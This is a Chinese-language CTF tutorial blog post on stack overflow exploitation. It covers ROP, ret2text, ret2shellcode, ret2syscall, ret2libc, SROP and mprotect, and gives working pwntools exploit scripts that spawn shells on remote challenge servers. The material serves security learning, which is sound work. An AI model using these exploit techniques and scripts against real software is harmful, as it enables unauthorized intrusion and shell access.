栈溢出:靶向打击 Surager

栈溢出

0x0栈基础

堆栈(stack)是一种数据结构。堆栈都是一种数据项按序排列的数据结构,只能在一端(称为栈顶(top))对数据项进行插入和删除。

堆栈对于面向过程的编程语言来说是非常重要的。函数调用经常嵌套,在同一时刻,堆栈中会有多个函数的信息。每个未完成运行的函数占用一个独立的连续区域,称作栈帧。可以说,没有栈就没有函数。

需要注意的是

  1. 其操作主要有压栈(push)与出栈(pop)、调用(call)、离开(leave)与返回(ret)等操作。
  2. 程序的栈是从进程地址空间的高地址向低地址增长的,数据是从低地址向高地址存放的 。

基本操作:

开栈的基本操作如下:

push ebp                ;保存旧栈帧的底部,在func执行完成后在pop ebp
mov ebp,esp         ;设置新栈帧的底部
sub esp,xxx         ;设置新栈帧的顶部
. . .

函数调用时栈的情况

参数入栈时,将参数从右向左依次压入系统栈,然后将当前代码段call指令的下一条指令的地址填入返回地址处,然后去执行call的代码。然后保存ebp,开栈。若函数有返回值,则一般将返回值存入eax,然后leave,ret。这就是函数调用(call)的全过程。

传参

需要注意的是,调用一个函数的时候,需要传参。x86和x64的传参方式有所不同。具体如下:

x86:

例如要调用一个read函数,原型为:

read(0,&buf,0x100);

那么我们只需要将参数传入栈中,x86平台通过栈传递参数:

push  100h   	;nbytes
push  eax   	;buf
push  0      	;fd
call  _read

x64:

x64平台通过寄存器和栈传参,前六个参数分别存入rdi,rsi,rdx,rcx,r8,r9,再多就存入栈中。

mov   rdx,100h	    ;nbytes
lea   rsi,s1		;buf
mov   rdi,0		    ;fd
call  _read

在进行栈溢出时,我们要寻找pop rdi;ret这样的片段进行传参,用到一种叫rop的技术。这里介绍一下一个寻找rop的指令:

ROPgadget --binary ./filename --only "pop|ret"

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

0x10栈溢出

栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身申请的字节数,因而导致栈中与之相邻的变量的值被改变。

栈溢出达到的目的

  • 破坏程序内存结构
  • 执行system(/bin/sh)
  • 执行shellcode

栈溢出思路

  • 找到危险函数:
系统级函数:system、execve
输入函数:read、scanf、gets、vscanf
输出函数(泄露地址):sprintf、puts、printf
  • 判断填充的padding
1. 计算我们所要操作的地址和所要覆盖的地址的距离
2. IDA静态分析中常见的三种索引方式
	a. 相对于栈基地址的索引,通过查看EBP相对偏移获得 char name[32]; [esp+0h] [ebp-28h]  ==> 0x28+0x4
	b. 相对于栈顶指针的索引,需要加上ESP到EBP的偏移,然后转换为a方式
	c. 直接地址索引,相当于直接给出了地址
  • 覆盖内容
1. 覆盖返回地址
2. 覆盖某个变量的值。
  • 利用成功
打开交互,然后cat flag吧。

0x20基本工具

  • file工具

没啥好说的,主要是看这个文件的属性的,重点关注位数和链接方式(详情请见静态链接,动态链接):

babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped

如上,ELF——ELF文件,64-bit——64位,dynamically linked——动态链接。

  • checksec工具
[*] '/mnt/e/wsl/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    • arch:程序位数
    • RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
    • Stack:开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过
    • NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
    • PIE:开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址(见surager博文《动态链接》)
  • pwntools
# Pwntools环境预设
from pwn import *
context.arch = "amd64/i386"                             #指定系统架构
context.terminal = ["tmux,"splitw","-h"]     #指定分屏终端
context.os = "linux"                                     #context用于预设环境

# 库信息
elf = ELF('./PWNME')                        # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 载入libc的库,可以通过vmmap查看
/*
首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
>>> e = ELF('/bin/cat')
>>> print hex(e.address)    # 文件装载的基地址
>>> print hex(e.symbols['write']) # plt中write函数地址
>>> print hex(e.got['write'])     # GOT表中write符号的地址
>>> print hex(e.plt['write'])       # PLT表中write符号的地址                    
*/                                       

# Pwntools通信                    
p = process('./pwnme')                      # 本地 process与程序交互
r = remote('exploitme.example.com',3333)          # 远程

# 交互
recv()          # 接收数据,一直接收
recv(numb=4096,timeout=default) # 指定接收字节数与超时时间                    
recvuntil("111")     # 接收到111结束,可以裁剪,如.[1:4]
recbline()      # 接收到换行结束
recvline(n)     # 接收到n个换行结束
recvall()           # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data)      # 发送数据
sendline(data)      # 发送一行数据,在末尾会加\n
sendlineafter(delims,data) #   在程序接收到delims再发送data                  
r.send(asm(shellcraft.sh()))                          # 信息通信交互                                       
r.interactive()                              # send payload后接收当前的shell

# 字符串与地址的转换
p64(),p32()  #将字符串转化为ascii字节流
u64(),u32()  #将ascii的字节流解包为字符串地址           
  • IDA

自己看书

0x30调试(实例分析)

nc——签到

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。

一般其程序为:

int main()
{
	system("/bin/sh");
	return 0;
}

system是执行系统指令,/bin/sh在自己电脑里输入一下就知道是啥了。

相似的函数还有execve(“/bin/sh”,0,0);

实战:

surager@KaliWindows:~/wsl$ nc node3.buuoj.cn 27422
cat flag
flag{0a7da57a-a356-4745-96a6-87bfc4b5b86c}

ret2text——梦开始的地方

通过构造payload=padding+address_system(‘/bin/sh’)来完成漏洞利用

jarvisoj_level0

保护机制:

$ checksec level0
	Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序只开启了NX保护。

int callsystem()
{
  return system("/bin/sh");
}

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

栈相对于rbp的距离为0x80,而read读入了0x200个字符,存在栈溢出。

padding = ‘a’*0x80+’a’*0x8

然后找到callsystem的地址,填入padding之后:

#!/usr/bin/env python 
from pwn import *
context.log_level = 'debug'
io=remote('node3.buuoj.cn',25555)
payload='a'*128+'aaaaaaaa'+p64(0x40059a)
io.sendline(payload)
io.interactive()
surager@KaliWindows:~/wsl$ ./level0.py
[+] Opening connection to node3.buuoj.cn on port 29296: Done
[*] Switching to interactive mode
Hello, World
$ cat flag
flag{************************************}

ciscn_2019_n_1

保护机制:

$ checksec ciscn_2019_n_1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序开启了NX保护。

int func()
{
  int result; // eax
  __int64 v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

gets并没有限制读入字符的个数,因此可以覆盖返回地址进行跳转,查看汇编得到system(“cat /flag”);地址

exp:

from pwn import *
io=remote('node3.buuoj.cn',29966)
payload='a'*0x30+'a'*8+p64(0x4006be)
io.sendline(payload)
io.interactive()

ret2shellcode——巧取

ciscn_2019_n_5

保护机制:

$ checksec ciscn_2019_n_5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

可以看出,几乎没有开任何保护,而且有可读可写可执行的段。我们可以向RWX段读入shellcode,从而获取shell。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char text[30]; // [rsp+0h] [rbp-20h]

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name");
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets((__int64)text, (__int64)name);
  return 0;
}

查看变量name,发现在bss段

.bss:0000000000601080 ; char name[100]
.bss:0000000000601080 name            db 64h dup(?)           ; DATA XREF: main+35↑o

我们用gdb在main处下断点,用vmmap查看信息:

gdb-peda$ b main
Breakpoint 1 at 0x40063e
gdb-peda$ r
[----------------------------------registers-----------------------------------]
RAX: 0x400636 --> 0x20ec8348e5894855
RBX: 0x0
RCX: 0x4006b0 --> 0x41ff894156415741
RDX: 0x7ffffffee1a8 --> 0x7ffffffee3e9 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
RSI: 0x7ffffffee198 --> 0x7ffffffee3cf ("/mnt/e/wsl/ciscn_2019_n_5")
RDI: 0x1
RBP: 0x7ffffffee0b0 --> 0x4006b0 --> 0x41ff894156415741
RSP: 0x7ffffffee090 --> 0x4006b0 --> 0x41ff894156415741
RIP: 0x40063e --> 0xb900200a1b058b48
R8 : 0x7fffff3ecd80 --> 0x0
R9 : 0x7fffff3ecd80 --> 0x0
R10: 0x3
R11: 0x7fffff021ab0 (<__libc_start_main>:       push   r13)
R12: 0x400540 --> 0x89485ed18949ed31
R13: 0x7ffffffee190 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400636 <main>:     push   rbp
   0x400637 <main+1>:   mov    rbp,rsp
   0x40063a <main+4>:   sub    rsp,0x20=> 0x40063e <main+8>:
    mov    rax,QWORD PTR [rip+0x200a1b]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x400645 <main+15>:  mov    ecx,0x0
   0x40064a <main+20>:  mov    edx,0x2
   0x40064f <main+25>:  mov    esi,0x0
   0x400654 <main+30>:  mov    rdi,rax
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffee090 --> 0x4006b0 --> 0x41ff894156415741
0008| 0x7ffffffee098 --> 0x400540 --> 0x89485ed18949ed31
0016| 0x7ffffffee0a0 --> 0x7ffffffee190 --> 0x1
0024| 0x7ffffffee0a8 --> 0x0
0032| 0x7ffffffee0b0 --> 0x4006b0 --> 0x41ff894156415741
0040| 0x7ffffffee0b8 --> 0x7fffff021b97 (<__libc_start_main+231>:       mov    edi,eax) 
0048| 0x7ffffffee0c0 --> 0x1
0056| 0x7ffffffee0c8 --> 0x7ffffffee198 --> 0x7ffffffee3cf ("/mnt/e/wsl/ciscn_2019_n_5")
[------------------------------------------------------------------------------]        
Legend: code, data, rodata, value

Breakpoint 1, main () at pwn.c:7
gdb-peda$ vmmap

发现bss段:

0x00601000         0x00602000         rwxp      /mnt/e/wsl/ciscn_2019_n_5

所以我们直接将shellcode写入bss段然后执行。

#!/usr/bin/env python
from pwn import *
context(arch='amd64',os='linux',log_level='debug') #注意要设置context
io = remote('node3.buuoj.cn',26176)
bss = 0x601080
io.recvuntil('name\n')
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.recvuntil('?\n')
payload = 'a'*0x20 + 'a'*0x8 + p64(bss)
io.sendline(payload)
io.interactive()

ret2syscall——质的提升

x86的execve函数系统调用号为0xb,x64平台的execve系统调用号为0x3b。用ax寄存器存储系统调用号。相当于传递了一个参数。

StackOverflow_ret2syscall_x64

__int64 sub_400B60()
{
  char buf; // [rsp+0h] [rbp-400h]

  sub_410390((__int64)"Any last words?");
  sub_4498A0(0, &buf, 0x7D0uLL);
  return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n");
}
surager@KaliWindows:~/wsl$ ROPgadget --binary ./ret2syscall_x64 --only "syscall"

Gadgets information
============================================================

0x000000000040129c : syscall

Unique gadgets found: 1

找到了syscall,可以把/bin/sh读入bss段,然后传给execve,构造execve(“/bin/sh”,0,0);便可以得到shell。

需要注意,构造payload时,当要跳转到一个函数执行时,紧跟着的一个参数是这个函数的返回地址,例如:

padding+p64(read_add)+p64(return_add)+p64(0)+p64(bss_add)+p64(0x100)

这个payload会先覆盖返回地址为read的地址,然后将p64(return_add)后面的三个作为参数。read执行完毕之后回到return_add这个地址

exp:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'

io = remote('118.190.133.9',20004)
elf = ELF('./ret2syscall_x64')      #可以自动获取文件中的某些地址
pop_rax_add = 0x0000000000415664
pop_rdi_add = 0x0000000000400686
pop_rsi_add = 0x00000000004101f3
pop_rdx_add = 0x00000000004498b5    #这四个地址通过ROPgadget找到
main_add = 0x400B60
read_add = 0x4498AA
bss_add = elf.bss()					#得到bss的地址
syscall = 0x000000000040129c
padding = 'a'*0x400 + 'a'*0x8
payload1 = padding + p64(pop_rdi_add) + p64(0x0) + p64(pop_rsi_add) + p64(bss_add) + p64(pop_rdx_add) + p64(0x100) + p64(read_add) + p64(main_add)
io.recvuntil('Any last words?\n')
io.sendline(payload1)
io.send('/bin/sh\x00')
payload2 = padding + p64(pop_rdi_add) + p64(bss_add) + p64(pop_rsi_add) + p64(0x0) + p64(pop_rdx_add) + p64(0x0) + p64(pop_rax_add) + p64(0x3b) +p64(syscall)
io.recvuntil('Any last words?\n')
io.sendline(payload2)
io.interactive()

payload1相当于下面的代码:

mov		rdi,0
mov 	rsi,offset bss
mov 	rdx,100h
call	_read			;构造read(0,&bss,0x100)
jmp 	main			;回到main,准备构造第二次rop

执行完payload1之后回到main函数

payload2相当于下面的代码:

mov 	rdi,offset bss
mov 	rsi,0
mov 	rdx,0
mov 	rax,3bh
		syscall		;因为rax为3b,所以执行execve("/bin/sh",0,0)

成功拿到shell

$ ls
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x19 bytes:
    'flag{*******************}'

ret2libc——彻底挣脱束缚

StackOverflow_ret2libc

保护机制:

$ checksec stackoverflow_ret2libc
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

之后分析程序就懵逼了:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("Please input your ID:");
  get_id();
  puts("Done");
  return 0;
}

ssize_t get_id()
{
  char buf; // [rsp+0h] [rbp-20h]

  return read(0, &buf, 0x50uLL);
}

只有这两个能用的,没有/bin/sh,没有system,这时候就需要去libc.so里面找外部函数执行了。

libc.so里面集成了大量的系统级函数,其中就包括system,还包括字符串”/bin/sh”。由于动态链接时共享文件的最终装载地址在编译时是不确定的,所以我们需要泄露出libc的基址从而获取装载的偏移量(确定的)。

利用思路:通过输出函数将got表中的某个函数的地址泄露出来,然后减去libc中对应函数的地址就得到了偏移量,然后再用偏移量加上其他函数在libc中的地址,就得到了其他函数。

exp:

#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
io=remote('118.190.133.9',10003
)elf=ELF('./StackOverflow_ret2libc')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_add=elf.symbols['main']
padding = 'a'*0x20+'a'*0x8
rdi = 0x0000000000400783
payload1 = padding + p64(rdi) + p64(puts_got) +p64(puts_plt) + p64(main_add)
io.recvuntil("Please input your ID:\n")
io.sendline(payload1)
leak = u64(io.recv()[0:8]+'\x00\x00')
libc = ELF('./x64-libc-2.23.so')
offset = leak - libc.symbols['puts']
sys_add = offset + libc.symbols['system']
binsh_add = offset + libc.search('/bin/sh').next()
payload2 = padding + p64(rdi)+ p64(binsh_add) + p64(sys_add)
io.recvuntil("Please input your ID:\n")
io.sendline(payload2)
io.interactive()

第一个payload将got表中的puts地址泄露出来,用这个地址减去libc中的puts地址即得到offset。

再用offset加上其他函数的地址就可以得到其他函数的使用权了。

如果没有libc的话可以pip install一个LibcSearcher库用。

https://github.com/lieanu/LibcSearcher

以下内容简略介绍。

SROP

SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议Oakland 2014上,被评选为当年的Best Student Papers

ciscn_2019_s_3

因为给了15h,可以直接SROP

signed __int64 gadgets()
{
  return 15LL;
}

先泄露栈地址,然后用栈把/bin/sh读入execve:

#!/usr/bin/env python
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('./ciscn_s_3')
io = remote('node3.buuoj.cn',25931)
vuln_add = 0x4004ED
syscall = 0x400517
gadget = 0x4004DA
payload = '/bin/sh\x00'*2+p64(vuln_add)io.send(payload)io.recv(0x20)
sh = u64(io.recv(8))-0x118
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = sh
frame.rip = syscall
payload = '/bin/sh\x00'*2 + p64(gadget) + p64(syscall) + str(frame)
io.sendline(payload)
io.interactive()

mprotect使用

int mprotect(const void *start, size_t len, int prot);

含义:从start开始长度为len的内存区的保护属性修改为prot指定的值,prot的值和linux的权限属性值相同。

get_started_3dsctf_2016

get_flag函数在远程根本不能用。

所以另辟蹊径,搜索mprotect函数,可以利用mprotect在bss上面写入可执行权限,之后用read函数在bss上写入shellcode。

payload:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',28342)
elf = ELF('./get_started_3dsctf_2016')
pop_3_add = 0x0809e4c5
rw_add = 0x080eb000
payload = 'a'*0x38 + p32(elf.symbols['mprotect']) + p32(pop_3_add) + p32(rw_add) + p32(0x1000) + p32(0x7) + p32(elf.symbols['read']) + p32(pop_3_add) + p32(0x0) + p32(0x080ebf80) +p32(0x200) + p32(0x080ebf80)
io.sendline(payload)
io.sendline(asm(shellcraft.sh(),arch='i386',os='linux'))
io.interactive()

放下狠话:可能还会更。

有了!有了!2020-05-09有后续了!ROP tricks

0xdeadbeef参考文章

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶 https://www.52pojie.cn/thread-974510-1-1.html

栈溢出从入门到入狱 https://aidaip.github.io/binary/2019/03/16/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1.html

栈溢出原理 https://wiki.x10sec.org/pwn/stackoverflow/stackoverflow_basic/

基本 ROP https://wiki.x10sec.org/pwn/stackoverflow/basic_rop/

高级ROP https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/

checksec及其包含的保护机制 https://www.jianshu.com/p/8a9ef7205632